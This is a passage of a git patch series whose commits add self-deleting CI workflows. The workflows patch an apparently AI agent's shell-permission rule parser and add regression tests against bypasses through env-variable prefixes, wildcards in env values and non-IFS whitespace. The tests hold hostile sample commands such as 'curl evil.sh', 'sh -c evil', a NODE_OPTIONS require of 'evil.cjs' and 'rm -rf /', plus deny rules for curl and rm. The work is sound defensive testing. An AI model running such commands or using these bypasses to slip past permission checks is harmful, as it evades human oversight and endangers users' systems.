-c evil npm', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + }); + + it('does not treat non-IFS whitespace as a Bash word boundary', () => { + for (const whitespace of ['\u000b', '\u000c', '\r', '\u00a0']) { + expect( + matchesCommandPattern( + 'FOO=bar x *', + `FOO=bar${whitespace}x curl evil.sh`, + ), + ).toBe(false); + } + }); + + it('does not rewrite legacy colon-star syntax inside env values', () => { + expect(parseRule('Bash(git:*)').specifier).toBe('git *'); + expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( + 'FOO=a:* npm install', + ); + }); + ''', + 'extend matcher regressions', + ) + + tests = replace_once( + tests, + r''' it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { + ''', + r''' it('keeps restrictive matching on env-prefixed compound segments', async () => { + const denyPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), + ); + denyPm.initialize(); + await expect( + denyPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=1 rm -rf /', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + + const askPm = new PermissionManager( + makeConfig(['Bash(*)'], ['Bash(git push *)']), + ); + askPm.initialize(); + await expect( + askPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=bar git push --force', + cwd: '/repo', + }), + ).resolves.toBe('ask'); + }); + + it('keeps restrictive rules aligned with Bash non-IFS whitespace', async () => { + const pm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(curl *)']), + ); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=bar\u000bx curl evil.sh', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + }); + + it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { + ''', + 'add restrictive composition regressions', + ) + + tests = replace_once( + tests, + r''' it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => { + ''', + r''' it('round-trips multiple leading environment assignments', async () => { + const command = 'A=1 B=2 npm install express'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['A=1 B=2 npm install *']); + + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command, + cwd: '/repo', + }), + ).resolves.toBe('allow'); + }); + + it('round-trips colon-star env values through generated rules', async () => { + const command = 'FOO=a:* npm install'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['FOO=a:* npm install']); + expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); + + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command, + cwd: '/repo', + }), + ).resolves.toBe('allow'); + }); + + it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => { + ''', + 'add generated-rule regressions', + ) + + test_path.write_text(tests) + PY + + - name: Install dependencies + run: npm ci + + - name: Format and lint touched files + run: | + npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + + - name: Run focused permission and shell tests + run: | + npx vitest run \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/permission-manager.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.test.ts \ + packages/core/src/utils/shell-ast-parser-lazy.test.ts + + - name: Commit reviewed source changes and remove helper workflow + shell: bash + run: | + rm -f .github/workflows/finalize-pr-10212-r4.yml + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git add -A + git diff --cached --check + git diff --cached --quiet && { echo "No changes to commit"; exit 1; } + git commit -m "fix(core): close env-prefix permission review gaps" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 6380b5e1394ba567d0f43a1e6c9e717ecdc03173 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 01:49:59 +0200 Subject: [PATCH 24/36] chore: retry reviewed PR 10212 R3 fixes --- .github/workflows/finalize-pr-10212-r4b.yml | 441 ++++++++++++++++++++ 1 file changed, 441 insertions(+) create mode 100644 .github/workflows/finalize-pr-10212-r4b.yml diff --git a/.github/workflows/finalize-pr-10212-r4b.yml b/.github/workflows/finalize-pr-10212-r4b.yml new file mode 100644 index 00000000000..bcd3a73b6f6 --- /dev/null +++ b/.github/workflows/finalize-pr-10212-r4b.yml @@ -0,0 +1,441 @@ +name: Finalize PR 10212 R4b + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + paths: + - .github/workflows/finalize-pr-10212-r4b.yml + +permissions: + contents: write + +jobs: + apply-reviewed-fixes: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + fetch-depth: 0 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: npm + + - name: Apply R3 review fixes and regression tests + shell: bash + run: | + python3 <<'PY' + from pathlib import Path + + def once(text: str, old: str, new: str, label: str) -> str: + count = text.count(old) + if count != 1: + raise SystemExit(f'{label}: expected 1 match, found {count}') + return text.replace(old, new, 1) + + p = Path('packages/core/src/permissions/rule-parser.ts') + s = p.read_text() + + s = once( + s, + " rawSpecifier = rawSpecifier.replace(/:(\\*)/g, ' $1');", + """ // Legacy `:*` is a token-level shorthand. Do not rewrite it + // inside env assignment values, which are part of Bash identity. + rawSpecifier = rawSpecifier.replace( + /(^|[ \\t\\n])([^ \\t\\n=\"'`=]+):\\*(?=$|[ \\t\\n])/g, + '$1$2 *', + );""", + 'legacy colon-star rewrite', + ) + + s = once( + s, + " const normalizedPattern = collapseUnquotedWhitespace(pattern.trim());", + """ const normalizedPattern = collapseUnquotedWhitespace( + trimShellIfsWhitespace(pattern), + );""", + 'pattern trim', + ) + + s = once( + s, + """ if (normalizedPattern === '*') { + return true; + } + + if (!normalizedPattern.includes('*')) {""", + """ if (normalizedPattern === '*') { + return true; + } + + // Assignment-only rules are identities, never command prefixes. Keep this + // above the wildcard split so `Bash(FOO=*)` cannot authorize a command. + if ( + isAssignmentOnlyPermissionPattern(normalizedPattern) && + !isAssignmentOnlyPermissionPattern(normalizedCommand) + ) { + return false; + } + + if (!normalizedPattern.includes('*')) {""", + 'assignment-only wildcard guard', + ) + + s = once( + s, + """ // Build regex from glob pattern with word-boundary semantics. + let regex = '^';""", + """ // Build regex from glob pattern with word-boundary semantics. + // A wildcard in a leading NAME=value word must not consume a shell-word + // boundary and thereby authorize a different executable. + const assignmentValueWildcards = + findUnquotedAssignmentValueWildcardPositions(normalizedPattern); + let regex = '^';""", + 'assignment wildcard set', + ) + + s = once( + s, + """ } else { + regex += escapeRegex(literalBefore); + regex += '.*'; + } + + pos = starIdx + 1;""", + """ } else { + regex += escapeRegex(literalBefore); + regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*'; + } + + pos = starIdx + 1;""", + 'assignment wildcard regex', + ) + + marker = "export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;\n" + helpers = r''' + + function isShellIfsWhitespace(ch: string): boolean { + return ch === ' ' || ch === '\t' || ch === '\n'; + } + + function trimShellIfsWhitespace(value: string): string { + let start = 0; + let end = value.length; + while (start < end && isShellIfsWhitespace(value[start]!)) start++; + while (end > start && isShellIfsWhitespace(value[end - 1]!)) end--; + return value.slice(start, end); + } + + /** + * shell-quote uses JavaScript whitespace, which is broader than Bash's + * default IFS. Protect non-IFS whitespace so it remains in the shell word + * that Bash would actually execute, then restore it after parsing. + */ + function protectNonIfsWhitespace(command: string): { + protectedCommand: string; + restore: (value: string) => string; + } { + const replacements = new Map(); + let protectedCommand = ''; + let markerIndex = 0; + + for (const ch of command) { + if (/\s/u.test(ch) && !isShellIfsWhitespace(ch)) { + let token = `\uE000QWEN_WS_${markerIndex++}\uE001`; + while (command.includes(token) || replacements.has(token)) { + token = `\uE000QWEN_WS_${markerIndex++}\uE001`; + } + replacements.set(token, ch); + protectedCommand += token; + } else { + protectedCommand += ch; + } + } + + return { + protectedCommand, + restore(value: string): string { + let restored = value; + for (const [token, original] of replacements) { + restored = restored.replaceAll(token, original); + } + return restored; + }, + }; + } + ''' + s = once(s, marker, marker + helpers, 'IFS helper insertion') + + s = once( + s, + """function permissionMatchTokens(command: string): string[] { + const tokens: string[] = []; + for (const token of parse(command)) {""", + """function permissionMatchTokens(command: string): string[] { + const tokens: string[] = []; + const { protectedCommand, restore } = protectNonIfsWhitespace(command); + for (const token of parse(protectedCommand)) {""", + 'protected token parser', + ) + s = once(s, ' tokens.push(token);', ' tokens.push(restore(token));', 'restore string token') + s = once(s, ' tokens.push(token.pattern);', ' tokens.push(restore(token.pattern));', 'restore glob token') + + strip_start = s.index('export function stripLeadingVariableAssignments') + strip_end = s.index('/** Collapse shell-equivalent whitespace', strip_start) + before, block, after = s[:strip_start], s[strip_start:strip_end], s[strip_end:] + block = once(block, ' const trimmed = command.trim();', ' const trimmed = trimShellIfsWhitespace(command);', 'strip trim') + s = before + block + after + + s = once( + s, + '/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */', + '/** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */', + 'collapse comment', + ) + collapse_start = s.index('function collapseUnquotedWhitespace') + collapse_end = s.index('function isAssignmentOnlyPermissionPattern', collapse_start) + before, block, after = s[:collapse_start], s[collapse_start:collapse_end], s[collapse_end:] + block = once(block, ' if (/\\s/.test(ch)) {', ' if (isShellIfsWhitespace(ch)) {', 'IFS collapse') + s = before + block + after + + wildcard_helper = r''' + function findUnquotedAssignmentValueWildcardPositions( + pattern: string, + ): Set { + const positions = new Set(); + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let wordStart = 0; + let leadingAssignments = true; + + for (let i = 0; i < pattern.length; i++) { + const ch = pattern[i]!; + if (escaped) { + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + escaped = true; + continue; + } + if (quote) { + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"' || ch === '`') { + quote = ch; + continue; + } + if (ch === ' ') { + if (leadingAssignments) { + const word = pattern.slice(wordStart, i); + if (word && !ENV_ASSIGNMENT_REGEX.test(word)) { + leadingAssignments = false; + } + } + wordStart = i + 1; + continue; + } + if (ch === '*' && leadingAssignments) { + const beforeStar = pattern.slice(wordStart, i); + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) { + positions.add(i); + } + } + } + + return positions; + } + + ''' + normalize_marker = 'function normalizeCommandForPermissionMatch(command: string): string {' + s = once(s, normalize_marker, wildcard_helper + normalize_marker, 'wildcard helper insertion') + + normalize_start = s.index(normalize_marker) + normalize_end = s.index('// ─────────────────────────────────────────────────────────────────────────────\n// File path matching', normalize_start) + before, block, after = s[:normalize_start], s[normalize_start:normalize_end], s[normalize_end:] + block = once(block, ' const trimmed = command.trim();', ' const trimmed = trimShellIfsWhitespace(command);', 'normalize trim') + block = block.replace('shell-equivalent unquoted whitespace', 'Bash-IFS whitespace outside quotes') + s = before + block + after + + p.write_text(s) + + t = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') + x = t.read_text() + + x = once( + x, + """ it('does not widen assignment-only rules into arbitrary commands', () => { + expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( + false, + ); + });""", + """ it('does not widen assignment-only rules into arbitrary commands', () => { + expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( + false, + ); + expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe( + false, + ); + }); + + it('keeps env-value wildcards inside the assignment shell word', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=x sh -c evil npm', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + }); + + it('does not treat non-IFS whitespace as a Bash word boundary', () => { + for (const whitespace of ['\\u000b', '\\u000c', '\\r', '\\u00a0']) { + expect( + matchesCommandPattern( + 'FOO=bar x *', + `FOO=bar${whitespace}x curl evil.sh`, + ), + ).toBe(false); + } + }); + + it('does not rewrite legacy colon-star syntax inside env values', () => { + expect(parseRule('Bash(git:*)').specifier).toBe('git *'); + expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( + 'FOO=a:* npm install', + ); + });""", + 'matcher regression tests', + ) + + x = once( + x, + " it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => {", + """ it('keeps restrictive matching on env-prefixed compound segments', async () => { + const denyPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), + ); + denyPm.initialize(); + await expect( + denyPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=1 rm -rf /', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + + const askPm = new PermissionManager( + makeConfig(['Bash(*)'], ['Bash(git push *)']), + ); + askPm.initialize(); + await expect( + askPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=bar git push --force', + cwd: '/repo', + }), + ).resolves.toBe('ask'); + }); + + it('keeps restrictive rules aligned with Bash non-IFS whitespace', async () => { + const pm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(curl *)']), + ); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=bar\\u000bx curl evil.sh', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + }); + + it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => {""", + 'compound and IFS tests', + ) + + x = once( + x, + " it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => {", + """ it('round-trips multiple leading environment assignments', async () => { + const command = 'A=1 B=2 npm install express'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['A=1 B=2 npm install *']); + + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command, + cwd: '/repo', + }), + ).resolves.toBe('allow'); + }); + + it('round-trips colon-star env values through generated rules', async () => { + const command = 'FOO=a:* npm install'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['FOO=a:* npm install']); + expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); + + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command, + cwd: '/repo', + }), + ).resolves.toBe('allow'); + }); + + it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => {""", + 'round-trip tests', + ) + + t.write_text(x) + PY + + - name: Install dependencies + run: npm ci + + - name: Format and lint touched files + run: | + npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + + - name: Run focused permission and shell tests + run: | + npx vitest run \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/permission-manager.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.test.ts \ + packages/core/src/utils/shell-ast-parser-lazy.test.ts + + - name: Commit reviewed source changes and remove helper workflows + shell: bash + run: | + rm -f .github/workflows/finalize-pr-10212-r4.yml + rm -f .github/workflows/finalize-pr-10212-r4b.yml + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git add -A + git diff --cached --check + git diff --cached --quiet && { echo "No changes to commit"; exit 1; } + git commit -m "fix(core): close env-prefix permission review gaps" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 780d1df6205d080bef74155db031e916c5ce8dd0 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 01:51:39 +0200 Subject: [PATCH 25/36] chore: apply PR 10212 fixes with stable anchors --- .github/workflows/finalize-pr-10212-r4c.yml | 356 ++++++++++++++++++++ 1 file changed, 356 insertions(+) create mode 100644 .github/workflows/finalize-pr-10212-r4c.yml diff --git a/.github/workflows/finalize-pr-10212-r4c.yml b/.github/workflows/finalize-pr-10212-r4c.yml new file mode 100644 index 00000000000..6793a3e2fb6 --- /dev/null +++ b/.github/workflows/finalize-pr-10212-r4c.yml @@ -0,0 +1,356 @@ +name: Finalize PR 10212 R4c + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + paths: + - .github/workflows/finalize-pr-10212-r4c.yml + +permissions: + contents: write + +jobs: + apply-reviewed-fixes: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + fetch-depth: 0 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: npm + + - name: Apply reviewed source fixes + shell: bash + run: | + python3 <<'PY' + from pathlib import Path + + def once(text: str, old: str, new: str, label: str) -> str: + count = text.count(old) + if count != 1: + raise SystemExit(f'{label}: expected 1 match, found {count}') + return text.replace(old, new, 1) + + path = Path('packages/core/src/permissions/rule-parser.ts') + s = path.read_text() + + s = once( + s, + " rawSpecifier = rawSpecifier.replace(/:(\\*)/g, ' $1');", + " // Legacy `:*` is token syntax; never rewrite env assignment values.\n" + " rawSpecifier = rawSpecifier.replace(\n" + " /(^|[ \\t\\n])([^ \\t\\n=\\\"'`=]+):\\*(?=$|[ \\t\\n])/g,\n" + " '$1$2 *',\n" + " );", + 'legacy colon-star', + ) + + s = once( + s, + ' const normalizedPattern = collapseUnquotedWhitespace(pattern.trim());', + ' const normalizedPattern = collapseUnquotedWhitespace(\n' + ' trimShellIfsWhitespace(pattern),\n' + ' );', + 'pattern trim', + ) + + star_anchor = " if (normalizedPattern === '*') {\n return true;\n }\n" + star_guard = ( + star_anchor + + "\n // Assignment-only rules are identities, never command prefixes.\n" + + " if (\n" + + " isAssignmentOnlyPermissionPattern(normalizedPattern) &&\n" + + " !isAssignmentOnlyPermissionPattern(normalizedCommand)\n" + + " ) {\n" + + " return false;\n" + + " }\n" + ) + s = once(s, star_anchor, star_guard, 'assignment-only wildcard guard') + + regex_anchor = " // Build regex from glob pattern with word-boundary semantics.\n let regex = '^';" + regex_insert = ( + " // Build regex from glob pattern with word-boundary semantics.\n" + " // Wildcards in leading NAME=value words cannot cross shell-word boundaries.\n" + " const assignmentValueWildcards =\n" + " findUnquotedAssignmentValueWildcardPositions(normalizedPattern);\n" + " let regex = '^';" + ) + s = once(s, regex_anchor, regex_insert, 'assignment wildcard set') + s = once( + s, + " regex += '.*';", + " regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*';", + 'assignment wildcard regex', + ) + + env_marker = 'export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;\n' + if s.count(env_marker) != 1: + raise SystemExit(f'env marker count={s.count(env_marker)}') + helpers = r''' + + function isShellIfsWhitespace(ch: string): boolean { + return ch === ' ' || ch === '\t' || ch === '\n'; + } + + function trimShellIfsWhitespace(value: string): string { + let start = 0; + let end = value.length; + while (start < end && isShellIfsWhitespace(value[start]!)) start++; + while (end > start && isShellIfsWhitespace(value[end - 1]!)) end--; + return value.slice(start, end); + } + + /** Preserve non-IFS JavaScript whitespace inside the shell word Bash sees. */ + function protectNonIfsWhitespace(command: string): { + protectedCommand: string; + restore: (value: string) => string; + } { + const replacements = new Map(); + let protectedCommand = ''; + let markerIndex = 0; + + for (const ch of command) { + if (/\s/u.test(ch) && !isShellIfsWhitespace(ch)) { + let token = `\uE000QWEN_WS_${markerIndex++}\uE001`; + while (command.includes(token) || replacements.has(token)) { + token = `\uE000QWEN_WS_${markerIndex++}\uE001`; + } + replacements.set(token, ch); + protectedCommand += token; + } else { + protectedCommand += ch; + } + } + + return { + protectedCommand, + restore(value: string): string { + let restored = value; + for (const [token, original] of replacements) { + restored = restored.replaceAll(token, original); + } + return restored; + }, + }; + } + ''' + s = s.replace(env_marker, env_marker + helpers, 1) + + s = once( + s, + ' for (const token of parse(command)) {', + ' const { protectedCommand, restore } = protectNonIfsWhitespace(command);\n' + ' for (const token of parse(protectedCommand)) {', + 'protected parser', + ) + s = once(s, ' tokens.push(token);', ' tokens.push(restore(token));', 'restore token') + s = once(s, ' tokens.push(token.pattern);', ' tokens.push(restore(token.pattern));', 'restore glob') + + trim_old = ' const trimmed = command.trim();' + if s.count(trim_old) != 2: + raise SystemExit(f'command.trim count={s.count(trim_old)}') + s = s.replace(trim_old, ' const trimmed = trimShellIfsWhitespace(command);') + s = once(s, ' if (/\\s/.test(ch)) {', ' if (isShellIfsWhitespace(ch)) {', 'IFS collapse') + s = s.replace( + '/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */', + '/** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */', + 1, + ) + + wildcard_helper = r''' + function findUnquotedAssignmentValueWildcardPositions( + pattern: string, + ): Set { + const positions = new Set(); + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let wordStart = 0; + let leadingAssignments = true; + + for (let i = 0; i < pattern.length; i++) { + const ch = pattern[i]!; + if (escaped) { + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + escaped = true; + continue; + } + if (quote) { + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"' || ch === '`') { + quote = ch; + continue; + } + if (ch === ' ') { + if (leadingAssignments) { + const word = pattern.slice(wordStart, i); + if (word && !ENV_ASSIGNMENT_REGEX.test(word)) leadingAssignments = false; + } + wordStart = i + 1; + continue; + } + if (ch === '*' && leadingAssignments) { + const beforeStar = pattern.slice(wordStart, i); + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) positions.add(i); + } + } + return positions; + } + + ''' + normalize_marker = 'function normalizeCommandForPermissionMatch(command: string): string {' + s = once(s, normalize_marker, wildcard_helper + normalize_marker, 'wildcard helper') + s = s.replace('shell-equivalent unquoted whitespace is canonicalized', 'Bash-IFS whitespace outside quotes is canonicalized', 1) + + path.write_text(s) + + test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') + tests = test_path.read_text() + if "describe('R3 env-prefix regressions'" in tests: + raise SystemExit('R3 regression block already present') + tests += r''' + + describe('R3 env-prefix regressions', () => { + it('does not widen wildcard assignment-only rules into commands', () => { + expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false); + }); + + it('keeps env-value wildcards inside the assignment shell word', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=x sh -c evil npm', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + }); + + it('does not treat non-IFS whitespace as Bash word boundaries', () => { + for (const whitespace of ['\u000b', '\u000c', '\r', '\u00a0']) { + expect( + matchesCommandPattern( + 'FOO=bar x *', + `FOO=bar${whitespace}x curl evil.sh`, + ), + ).toBe(false); + } + }); + + it('keeps legacy colon-star syntax out of env values', () => { + expect(parseRule('Bash(git:*)').specifier).toBe('git *'); + expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( + 'FOO=a:* npm install', + ); + }); + + it('keeps restrictive rules on env-prefixed compound segments', async () => { + const denyPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), + ); + denyPm.initialize(); + await expect( + denyPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=1 rm -rf /', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + + const askPm = new PermissionManager( + makeConfig(['Bash(*)'], ['Bash(git push *)']), + ); + askPm.initialize(); + await expect( + askPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=bar git push --force', + cwd: '/repo', + }), + ).resolves.toBe('ask'); + }); + + it('keeps restrictive matching aligned with Bash non-IFS whitespace', async () => { + const pm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(curl *)']), + ); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=bar\u000bx curl evil.sh', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + }); + + it('round-trips multiple leading environment assignments', async () => { + const command = 'A=1 B=2 npm install express'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['A=1 B=2 npm install *']); + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), + ).resolves.toBe('allow'); + }); + + it('round-trips colon-star env values through generated rules', async () => { + const command = 'FOO=a:* npm install'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['FOO=a:* npm install']); + expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), + ).resolves.toBe('allow'); + }); + }); + ''' + test_path.write_text(tests) + PY + + - name: Install dependencies + run: npm ci + + - name: Format and lint touched files + run: | + npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + + - name: Run focused permission and shell tests + run: | + npx vitest run \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/permission-manager.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.test.ts \ + packages/core/src/utils/shell-ast-parser-lazy.test.ts + + - name: Commit reviewed changes and remove helpers + shell: bash + run: | + rm -f .github/workflows/finalize-pr-10212-r4.yml + rm -f .github/workflows/finalize-pr-10212-r4b.yml + rm -f .github/workflows/finalize-pr-10212-r4c.yml + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git add -A + git diff --cached --check + git commit -m "fix(core): close env-prefix permission review gaps" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 4050d1c507d81ef34f8873a28bb4da4cd3dbec30 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 01:53:18 +0200 Subject: [PATCH 26/36] chore: scope PR 10212 patch to target functions --- .github/workflows/finalize-pr-10212-r4d.yml | 399 ++++++++++++++++++++ 1 file changed, 399 insertions(+) create mode 100644 .github/workflows/finalize-pr-10212-r4d.yml diff --git a/.github/workflows/finalize-pr-10212-r4d.yml b/.github/workflows/finalize-pr-10212-r4d.yml new file mode 100644 index 00000000000..c49e1ceccf0 --- /dev/null +++ b/.github/workflows/finalize-pr-10212-r4d.yml @@ -0,0 +1,399 @@ +name: Finalize PR 10212 R4d + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + paths: + - .github/workflows/finalize-pr-10212-r4d.yml + +permissions: + contents: write + +jobs: + apply-reviewed-fixes: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + fetch-depth: 0 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: npm + + - name: Apply reviewed source fixes + shell: bash + run: | + python3 <<'PY' + from pathlib import Path + + def once(text: str, old: str, new: str, label: str) -> str: + count = text.count(old) + if count != 1: + raise SystemExit(f'{label}: expected 1 match, found {count}') + return text.replace(old, new, 1) + + path = Path('packages/core/src/permissions/rule-parser.ts') + s = path.read_text() + + # Keep legacy command :* compatibility, but never rewrite assignment values. + s = once( + s, + " rawSpecifier = rawSpecifier.replace(/:(\\*)/g, ' $1');", + " // Legacy `:*` is token syntax; never rewrite env assignment values.\n" + " rawSpecifier = rawSpecifier.replace(\n" + " /(^|[ \\t\\n])([^ \\t\\n=\\\"'`=]+):\\*(?=$|[ \\t\\n])/g,\n" + " '$1$2 *',\n" + " );", + 'legacy colon-star', + ) + + # Patch only matchesCommandPattern(), not the separate param matcher. + matcher_start = s.index('export function matchesCommandPattern(') + matcher_end = s.index('\n/**\n * Match a glob pattern against a value', matcher_start) + matcher = s[matcher_start:matcher_end] + matcher = once( + matcher, + ' const normalizedPattern = collapseUnquotedWhitespace(pattern.trim());', + ' const normalizedPattern = collapseUnquotedWhitespace(\n' + ' trimShellIfsWhitespace(pattern),\n' + ' );', + 'pattern trim', + ) + star_anchor = " if (normalizedPattern === '*') {\n return true;\n }\n" + matcher = once( + matcher, + star_anchor, + star_anchor + + "\n // Assignment-only rules are identities, never command prefixes.\n" + + " if (\n" + + " isAssignmentOnlyPermissionPattern(normalizedPattern) &&\n" + + " !isAssignmentOnlyPermissionPattern(normalizedCommand)\n" + + " ) {\n" + + " return false;\n" + + " }\n", + 'assignment-only wildcard guard', + ) + matcher = once( + matcher, + " // Build regex from glob pattern with word-boundary semantics.\n let regex = '^';", + " // Build regex from glob pattern with word-boundary semantics.\n" + " // Wildcards in leading NAME=value words cannot cross shell-word boundaries.\n" + " const assignmentValueWildcards =\n" + " findUnquotedAssignmentValueWildcardPositions(normalizedPattern);\n" + " let regex = '^';", + 'assignment wildcard set', + ) + matcher = once( + matcher, + " regex += '.*';", + " regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*';", + 